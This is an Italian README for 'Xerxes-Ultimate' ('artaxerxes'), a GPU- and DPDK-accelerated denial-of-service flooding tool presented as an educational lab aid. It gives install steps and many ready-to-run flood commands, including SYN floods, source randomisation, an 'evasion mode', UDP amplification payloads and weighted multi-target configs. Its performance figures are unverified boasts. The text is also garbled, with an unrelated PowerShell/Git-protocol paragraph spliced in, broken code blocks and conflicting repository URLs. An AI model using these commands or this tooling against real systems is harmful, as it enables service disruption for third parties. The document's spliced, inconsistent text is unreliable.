
Framework avanzato di stress test multi-tecnologia Strumento didattico di cybersecurity per test di rete ad alte prestazioni
Framework avanzato di stress test multi-tecnologia
Strumento educativo di cybersecurity per test di rete ad alte prestazioni
Xerxes-Ultimate rappresenta la nuova generazione di strumenti per stress test di rete, progettata specificamente per laboratori educativi di cybersecurity. Costruito sulle fondamenta del tool DoS Xerxes originale, questa implementazione sfrutta tecnologie all'avanguardia di accelerazione hardware per raggiungere livelli di prestazioni senza precedenti, mantenendo al contempo la trasparenza educativa.
| Metrica | Xerxes originale | Xerxes-Ultimate | Miglioramento |
|---|---|---|---|
| Pacchetti/secondo | ~50.000 PPS | 60.000.000+ PPS | 🚀 1.200x più veloce |
| Larghezza di banda | ~100 Mbps | 60+ Gbps | 🔥 aumento di 600x |
| Connessioni concorrenti | ~1.000 | 1.000.000+ | ⚡ 1.000x in più |
| Efficienza CPU | 100% utilizzo CPU | <30% utilizzo CPU | 💡 riduzione del 70% |
| Utilizzo memoria | Elevata frammentazione | Pool ottimizzati | 🎯 90% efficiente |
| Latenza | ~1ms | <100 nanosecondi | ⚡ 10.000x più veloce |
graph LR
A[Original Xerxes
50K PPS] --> B[BASIC Tier
100K PPS
2x improvement]
B --> C[IO_URING Tier
1M PPS
20x improvement]
C --> D[GPU Tier
10M PPS
200x improvement]
D --> E[DPDK Tier
30M PPS
600x improvement]
E --> F[ULTIMATE Tier
60M+ PPS
1,200x improvement]
---
## 🛠️ Stack Tecnologico
### Tecnologie Principali
#### 🎮 **Accelerazione Multi-GPU CUDA**```c
// Parallel payload generation across 4 GPUs
__global__ void generate_ultimate_payloads(char *payloads, int *sizes,
int payload_count, uint64_t seed) {
int idx = blockIdx.x * blockDim.x + threadIdx.x;
// 512 blocks × 1024 threads × 4 GPUs = 2,097,152 parallel generators
}
Vantaggi:
// Asynchronous submission queue struct io_uring ring; io_uring_queue_init(8192, &ring, IORING_SETUP_SQPOLL);
// Direct GPU->NIC transfer without CPU copies io_uring_prep_send_zc(sqe, socket_fd, gpu_buffer, size, 0);
**Vantaggi:**
- **Aumento delle prestazioni I/O del 400%**
- **Trasferimenti zero-copy da GPU a NIC**
- **Elimina l'overhead del context switching**
- **Scala fino a 100.000+ operazioni concorrenti**
#### 🌐 **DPDK User-Space Networking**```c
// Bypass kernel network stack entirely
struct rte_mbuf *pkts[BURST_SIZE];
uint16_t nb_tx = rte_eth_tx_burst(port_id, queue_id, pkts, nb_pkts);
Vantaggi:
SEC("xdp_ultimate") int xdp_stress_program(struct xdp_md *ctx) { // Kernel-level packet manipulation return XDP_TX; // Retransmit at wire speed }
**Vantaggi:**
- **Aumento dell'efficienza del 200% rispetto allo spazio utente**
- **Generazione di pacchetti a livello kernel**
- **Elaborazione dei pacchetti programmabile**
- **Integrazione con offload hardware**
---
## 📊 Architettura
### Panoramica dell'architettura di sistema```mermaid
graph TB
subgraph "User Space"
A[Control Thread] --> B[Thread Pool Manager]
B --> C[GPU Generator Threads]
B --> D[Network Transmit Threads]
B --> E[Statistics Monitor]
end
subgraph "GPU Cluster"
F[RTX 4070 Ti #1<br/>2,560 cores]
G[RTX 4070 Ti #2<br/>2,560 cores]
H[RTX 4070 Ti #3<br/>2,560 cores]
I[RTX 4070 Ti #4<br/>2,560 cores]
F --> J[GPU Memory Pool<br/>48GB Total]
G --> J
H --> J
I --> J
end
subgraph "I/O Subsystem"
K[io_uring Ring<br/>8192 entries]
L[DPDK PMD Drivers]
M[Zero-Copy Buffers]
end
subgraph "Kernel Space"
N[XDP Hook]
O[eBPF Programs]
P[Network Interface]
end
C --> F
C --> G
C --> H
C --> I
D --> K
D --> L
K --> M
L --> M
M --> N
N --> O
O --> P
P --> Q[Target Network<br/>60+ Gbps]
graph LR
subgraph "GPU Memory (16GB)"
A[Payload Buffers
8GB]
B[Size Arrays
2GB]
C[Random States
4GB]
D[Working Space
2GB]
end
subgraph "Host Memory (32GB)"
E[Pinned Buffers<br/>16GB]
F[Ring Buffers<br/>8GB]
G[Connection Pool<br/>4GB]
H[Statistics<br/>4GB]
end
subgraph "NIC Memory (1GB)"
I[DMA Buffers<br/>512MB]
J[Descriptor Rings<br/>256MB]
K[Hardware Queues<br/>256MB]
end
A -.->|PCIe 4.0<br/>64 GB/s| E
E -.->|Zero-Copy| F
F -.->|DMA| I
---
## 🚀 Avvio rapido
### Controllo dei prerequisiti```bash
# Run the capability detector
./scripts/check-capabilities.sh
Una raccolta di script PowerShell che implementano il protocollo host di Git (compresi il protocollo Smart HTTP e il protocollo git://).
git clone, git push e git fetch. Il protocollo git:// è un daemon speciale incluso in Git; ascolta su una porta dedicata (9418) e fornisce un servizio simile al protocollo SSH ma senza crittografia.```
🔍 Xerxes-Ultimate Capability Check[✓] CUDA: 4 GPUs detected
[✓] DPDK: Compatible NIC detected
[✓] io_uring: Kernel support available
[✓] XDP/eBPF: Root privileges available
### Avvio base```bash
# Simple unlimited attack
./artaxerxes-ultimate 192.168.1.100 80
# Controlled burst testing
./artaxerxes-ultimate 192.168.1.100 80 10M_pps
# Bandwidth-limited testing
./artaxerxes-ultimate 192.168.1.100 80 5Gbps
# Time-limited demonstration
./artaxerxes-ultimate 192.168.1.100 80 300s
git clone https://gitlab.com/toxy4ny/ARTAXERXES.git cd ARTAXERXES
sudo quick-deploy.sh
### Installazione manuale
#### 1. Installa le dipendenze
**Ubuntu/Debian:**```bash
# System packages
sudo apt-get update
sudo apt-get install -y build-essential cmake pkg-config \
libnuma-dev libpcap-dev python3-pyelftools \
libbpf-dev libelf-dev zlib1g-dev liburing-dev
# CUDA Toolkit (if not installed)
wget https://developer.download.nvidia.com/compute/cuda/12.3.0/local_installers/cuda_12.3.0_545.23.06_linux.run
sudo sh cuda_12.3.0_545.23.06_linux.run
# DPDK
wget http://fast.dpdk.org/rel/dpdk-22.11.1.tar.xz
tar xf dpdk-22.11.1.tar.xz
cd dpdk-22.11.1
meson setup build
cd build && ninja && sudo ninja install
CentOS/RHEL:```bash
sudo dnf install epel-release sudo dnf config-manager --set-enabled powertools
sudo dnf groupinstall "Development Tools"
sudo dnf install cmake pkgconfig numactl-devel libpcap-devel
python3-pyelftools libbpf-devel elfutils-libelf-devel
zlib-devel liburing-devel
#### 2. Compilazione con rilevamento delle funzionalità```bash
# Build with all available features
make
# Build specific configuration
make CUDA_AVAILABLE=1 DPDK_AVAILABLE=1 IO_URING_AVAILABLE=1
sudo make install
### Installazione Docker```bash
# Build container with all dependencies
docker build -t xerxes-ultimate .
# Run with GPU support
docker run --gpus all --privileged --net=host \
xerxes-ultimate 192.168.1.100 80 1Gbps
./artaxerxes 192.168.1.100 80 100K_pps
./artaxerxes 192.168.1.100 80 1M_pps ./artaxerxes 192.168.1.100 80 10M_pps ./artaxerxes 192.168.1.100 80 50M_pps
**Risultati di apprendimento attesi:**
- Comprensione dello scaling in pacchetti al secondo
- Impatto dell'accelerazione hardware
- Identificazione dei colli di bottiglia di rete
#### Scenario 2: Confronto dei livelli tecnologici```bash
# Force different performance tiers
TIER=BASIC ./artaxerxes 192.168.1.100 80 30s
TIER=GPU ./artaxerxes 192.168.1.100 80 30s
TIER=DPDK ./artaxerxes 192.168.1.100 80 30s
TIER=ULTIMATE ./artaxerxes 192.168.1.100 80 30s
Risultati di apprendimento attesi:
./artaxerxes 192.168.1.100 80 1M_pps --randomize-source
./artaxerxes 192.168.1.100 80 --max-connections=100000
./artaxerxes 192.168.1.100 80 --ml-patterns --evasion-mode
### Pattern di utilizzo avanzati
#### Distribuzione del carico su più target```bash
# Distribute load across multiple targets
./artaxerxes --config distributed.json
# Content of distributed.json:
{
"targets": [
{"host": "192.168.1.100", "port": 80, "weight": 0.4},
{"host": "192.168.1.101", "port": 80, "weight": 0.3},
{"host": "192.168.1.102", "port": 80, "weight": 0.3}
],
"total_rate": "10M_pps",
"duration": "300s"
}
./artaxerxese 192.168.1.100 443 --protocol=https --ssl-handshake
./artaxerxes 192.168.1.100 80 --protocol=tcp-syn --randomize-ports
./artaxerxes 192.168.1.100 53 --protocol=udp --amplification-payload
#### Modellazione del traffico in tempo reale```bash
# Graduated load increase
./artaxerxes 192.168.1.100 80 --ramp-up="0-10M_pps,300s"
# Bursty traffic patterns
./artaxerxes 192.168.1.100 80 --burst-pattern="1M_pps,5s,100K_pps,10s"
# Bandwidth-aware testing
./artaxerxes 192.168.1.100 80 --target-bandwidth=5Gbps --max-bandwidth=10Gbps
echo "isolcpus=4-15" >> /boot/grub/grub.cfg
echo 2048 > /proc/sys/vm/nr_hugepages
echo 134217728 > /proc/sys/net/core/rmem_max echo 134217728 > /proc/sys/net/core/wmem_max
echo 2 > /proc/irq/24/smp_affinity # Isolate NIC interrupts
#### Configurazione GPU```bash
# Set GPU performance modes
nvidia-smi -pm 1 # Persistence mode
nvidia-smi -ac 1215,2100 # Max memory and GPU clocks
# Configure GPU memory mapping
export CUDA_VISIBLE_DEVICES=0,1,2,3
export CUDA_CACHE_DISABLE=1
./dpdk-devbind.py --bind=vfio-pci 0000:01:00.0
mkdir -p /mnt/huge mount -t hugetlbfs nodev /mnt/huge echo 1024 > /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
### Formato del file di configurazione```yaml
# xerxes-ultimate.yml
global:
performance_tier: "auto" # auto, basic, gpu, dpdk, ultimate
thread_affinity: true
statistics_interval: 1.0
gpu:
device_count: 4
memory_per_device: "12GB"
stream_count: 8
block_size: 512
thread_per_block: 1024
network:
dpdk:
enabled: true
pci_whitelist: ["0000:01:00.0"]
memory_channels: 4
io_uring:
enabled: true
ring_size: 8192
batch_submit: 64
xdp:
enabled: false # Requires confirmation
interface: "eth0"
program: "ultimate_xdp.o"
attack:
default_payload_size: 1460
connection_pool_size: 1000000
randomization:
source_ip: true
source_port: true
user_agent: true
payload_content: true
monitoring:
real_time_stats: true
export_format: ["console", "json", "prometheus"]
detailed_logging: false
| Livello di Prestazioni | PPS | Larghezza di Banda | Utilizzo CPU | Utilizzo GPU | Memoria |
|---|---|---|---|---|---|
| Original Xerxes | 47.230 | 94 Mbps | 100% | 0% | 2,1 GB |
| BASIC | 127.450 | 254 Mbps | 95% | 0% | 1,8 GB |
| IO_URING | 1.340.000 | 2,68 Gbps | 78% | 0% | 2,4 GB |
| GPU | 12.700.000 | 15,2 Gbps | 23% | 67% | 18,2 GB |
| DPDK | 34.500.000 | 41,4 Gbps | 18% | 71% | 22,1 GB |
| ULTIMATE | 61.200.000 | 63,8 Gbps | 12% | 74% | 28,3 GB |
graph LR
subgraph "Performance Scaling"
A[1 Thread
50K PPS] --> B[8 Threads
400K PPS]
B --> C[32 Threads
1.2M PPS]
C --> D[+GPU
12M PPS]
D --> E[+DPDK
34M PPS]
E --> F[+XDP
61M PPS]
end
#### Utilizzo delle Risorse
| Risorsa | Xerxes Original | Xerxes-Ultimate | Guadagno in Efficienza |
|----------|----------------|------------------|-----------------|
| **Core CPU** | 16 core @ 100% | 4 core @ 12% | **riduzione del 92%** |
| **Banda Memoria** | 12 GB/s | 156 GB/s | **miglioramento di 13x** |
| **PCIe BW** | 0.1 GB/s | 48 GB/s | **miglioramento di 480x** |
| **Utilizzo Rete** | 0.1% | 64% | **miglioramento di 640x** |
### Analisi Comparativa
#### Distribuzione della Latenza```
Original Xerxes:
├─ Min: 0.8ms
├─ Avg: 2.4ms
├─ P95: 4.1ms
└─ Max: 12.3ms
Xerxes-Ultimate:
├─ Min: 0.06ms
├─ Avg: 0.09ms
├─ P95: 0.12ms
└─ Max: 0.31ms
CPU: Intel i5-12400 or AMD Ryzen 5 5600X GPU: 1x RTX 3060 (12GB VRAM) RAM: 16GB DDR4-3200 Network: 1GbE with DPDK support Storage: 500GB NVMe SSD
#### Configurazione consigliata```yaml
CPU: Intel i7-13700 or AMD Ryzen 7 7700X
GPU: 2x RTX 4070 Ti (24GB total VRAM)
RAM: 32GB DDR5-5600
Network: 10GbE with SR-IOV support
Storage: 1TB NVMe SSD Gen4
CPU: Intel i9-13900K or AMD Ryzen 9 7900X GPU: 4x RTX 4090 (96GB total VRAM) RAM: 64GB DDR5-6000 Network: 100GbE Mellanox ConnectX-6 Storage: 2TB NVMe SSD Gen4 RAID-0
### Esempi di topologia di rete
#### Configurazione di base del laboratorio```mermaid
graph TB
A[artaxerxes<br/>Attack Machine] --> B[1GbE Switch]
B --> C[Target Server #1<br/>Web Application]
B --> D[Target Server #2<br/>Database]
B --> E[Monitoring Server<br/>Traffic Analysis]
graph TB
subgraph "Attack Infrastructure"
A[artaxerxes #1
4x RTX 4090]
B[artaxerxes #2
4x RTX 4090]
C[artaxerxes #3
4x RTX 4090]
end
subgraph "Network Infrastructure"
D[100GbE Core Switch<br/>Mellanox Spectrum]
E[10GbE Distribution<br/>Access Layer]
F[1GbE Access<br/>End Devices]
end
subgraph "Target Environment"
G[Web Farm<br/>20x Servers]
H[Database Cluster<br/>5x Nodes]
I[Load Balencer<br/>F5 BIG-IP]
end
subgraph "Defense Testing"
J[DDoS Protection<br/>CloudFlare/Akamai]
K[WAF<br/>ModSecurity]
L[IDS/IPS<br/>Suricata]
end
A --> D
B --> D
C --> D
D --> E
E --> F
D --> I
I --> G
I --> H
J --> I
K --> G
L --> E
### Esercizi di Laboratorio per Studenti
#### Esercizio 1: Baseline delle Prestazioni```bash
# Students measure original Xerxes performance
time timeout 60s artaxerxes 192.168.1.100 80
# Then compare with artaxerxes basic tier
time timeout 60s ./artaxerxes 192.168.1.100 80 60s
Obiettivo di apprendimento: Quantificare l'impatto delle moderne tecniche di ottimizzazione.
for tier in BASIC IO_URING GPU DPDK ULTIMATE; do
echo "Testing $tier tier..."
FORCE_TIER=$tier ./artaxerxes 192.168.1.100 80 30s |
tee results_${tier}.log
done
./scripts/analyze-performance.py results_*.log
**Obiettivo di apprendimento**: Comprendere come ogni tecnologia contribuisce alle prestazioni.
#### Esercizio 3: Valutazione dei meccanismi di difesa```bash
# Test against rate limiting
./artaxerxes 192.168.1.100 80 1M_pps 2>&1 | \
grep -E "(blocked|limited|denied)"
# Test evasion techniques
./artaxerxes 192.168.1.100 80 --evasion-mode --randomize-all
# Monitor defense effectiveness
./scripts/defense-analysis.py --target=192.168.1.100 --duration=300
Obiettivo di Apprendimento: Valutare e migliorare le contromisure difensive.
Week 1: "Network Performance Fundamentals"
Week 8: "Modern I/O Techniques"
Week 12: "High-Performance Networking"
#### Corso di Cybersicurezza```yaml
Module 1: "Attack Vector Analysis"
- Traditional vs modern DoS techniques
- Volume-based vs sophisticated attacks
- Attack tool evolution and capabilities
Module 3: "Defense Strategy Development"
- Rate limiting effectiveness testing
- Pattern recognition and evasion
- Adaptive defense mechanisms
Module 5: "Threat Intelligence"
- Performance profiling of attack tools
- Infrastructure requirements analysis
- Attribution through tool capabilities
artaxerxes è progettato esclusivamente per scopi educativi in ambienti di laboratorio controllati. Questo strumento è destinato a:
✅ Insegnare concetti di cybersecurity in contesti accademici autorizzati
✅ Dimostrare tecniche di ottimizzazione delle prestazioni
✅ Testare meccanismi di difesa su infrastrutture di propria proprietà
✅ Condurre test di penetrazione autorizzati con i permessi adeguati
❌ Attacchi di rete non autorizzati contro sistemi che non possiedi
❌ Interruzione dei servizi senza esplicita autorizzazione scritta
❌ Attività malevole di qualsiasi tipo
❌ Sfruttamento commerciale senza una licenza adeguata
Gli autori e i contributori di Xerxes-Ultimate:
Le istituzioni educative che implementano questo strumento dovrebbero:
Accogliamo con favore i contributi dalla community dell'educazione alla cybersecurity:
Se utilizzi artaxerxes in una ricerca accademica, cita:```bibtex @software{artaxerxes_2024, title={artaxerxes: Advanced Multi-Technology Stress Testing Framework}, author={tox4ny}, year={2024}, url={https://gitlab.com/tox4ny/ARTAXERXES}, note={Educational cybersecurity tool for high-performance network testing} }
---
## 📈 Roadmap
### Versione 2.1 (Q2 2024)
- [ ] **Supporto GPU Intel Arc**: Estensione oltre l'hardware NVIDIA
- [ ] **Compatibilità ARM64**: Supporto per Apple Silicon e server ARM
- [ ] **Orchestrazione di container**: Modelli di deployment Kubernetes
- [ ] **Evasione avanzata**: Generazione di payload basata su ML
### Versione 2.2 (Q3 2024)
- [ ] **Generazione casuale quantistica**: Sorgenti di entropia hardware
- [ ] **Supporto completo IPv6**: Test moderni dello stack di protocolli
- [ ] **Integrazione cloud**: Automazione del deployment AWS/Azure/GCP
- [ ] **Visualizzazione in tempo reale**: Dashboard di monitoraggio basata sul web
### Versione 3.0 (Q4 2024)
- [ ] **Architettura distribuita**: Coordinamento multi-nodo
- [ ] **Analisi avanzate**: Analisi del traffico basata su IA
- [ ] **Fuzzing dei protocolli**: Scoperta automatica delle vulnerabilità
- [ ] **Integrazione difensiva**: Test attivi di contromisure
---
**🚀 Vivi il futuro della formazione sulla cybersecurity con Xerxes-Ultimate!**
*Creato con ❤️ per la community della formazione sulla cybersecurity*